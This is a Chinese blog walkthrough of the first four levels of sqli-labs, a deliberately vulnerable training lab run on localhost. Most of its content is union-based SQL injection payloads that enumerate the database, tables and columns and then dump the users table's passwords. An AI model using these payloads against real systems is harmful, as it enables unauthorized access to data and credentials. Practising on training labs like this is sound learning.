zoukankan      html  css  js  c++  java
  • sqli-labs-master通关手册

    level1
    输入:[http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1](http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1)

    后面加一个'并将后面注释掉试试效果:
    构造?id=1' --+(这里#被注释了)
    image.png

    然后判断字段数
    ?id=1' order by 3 --+
    order by 3的时候回显正常,order by 4的时候报错,那证明字段就是3个。

    然后判断注入点
    ?id=0' union select 1,2,3 --+
    image.png

    2和3是注入点,随便找个位置开始注入
    ?id=0' union select 1,database(),3 --+
    image.png

    数据库名爆出来了,security

    然后爆表名:
    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
    因为这里只显示一行,虽然后面的LIMIT 0,1被注释掉了,但是后台可能还有其他函数限制输出,所以用group_concat()来将所有输出整在一行内image.png

    猜测flag应该在users表中
    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
    image.png

    maybe在password字段中
    ?id=-1' union select 1,group_concat(password),3 from users --+
    image.png

    okok搞定



    level2
    首先构造?id=1'--+发现报错,那这个应该不是字符类型
    然后判断字段数?id=1 order by 3 --+image.png

    然后构造?id=1 union select 1,2,3 --+
    发现注入点,接下来的操作跟上一题一样,就不做介绍了,直接贴payload
    ?id=1 union select 1,database(),3 --+

    ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

    ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

    ?id=-1 union select 1,group_concat(password),3 from users --+



    level3
    首先,构造一下?id=1'在这里插入图片描述
    不吹牛,整个人懵掉了,这个报错似曾相识但是不会做(说白了还是我太菜)。百度了一波才发现这个用')来闭合,一下子豁然开朗~
    然后构造?id=1') order by 3 --+
    在这里插入图片描述
    回显正常,并且字段数就是3没错。接下来的操作就跟前面的一样了,贴payload:
    ?id=0') union select 1,database(),3 --+

    ?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

    ?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

    ?id=0') union select 1,group_concat(password),3 from users --+
    在这里插入图片描述



    level4
    老规矩,先构造?id-1'
    嗯?没报错?换双引号试试:
    ?id=1"
    在这里插入图片描述
    模仿上一题?id=1")--+在这里插入图片描述
    哦豁,那接下来就差不多啦。
    ?id=1") order by 3--+
    ?id=0") union select 1,database(),3--+
    在这里插入图片描述
    后面就不贴啦~



    level5

  • 相关阅读:
    [20180814]校内模拟赛
    [20180812]四校联考
    [20180811]校内模拟赛
    [20180613]校内模拟赛
    网络流24题小结
    最小费用最大流——小结1
    ASP.NET MVC 下拉框的传值的两种方式
    面向方面编程(AOP)
    NPOI操作Excel
    IIS负载均衡
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13702757.html
Copyright © 2011-2022 走看看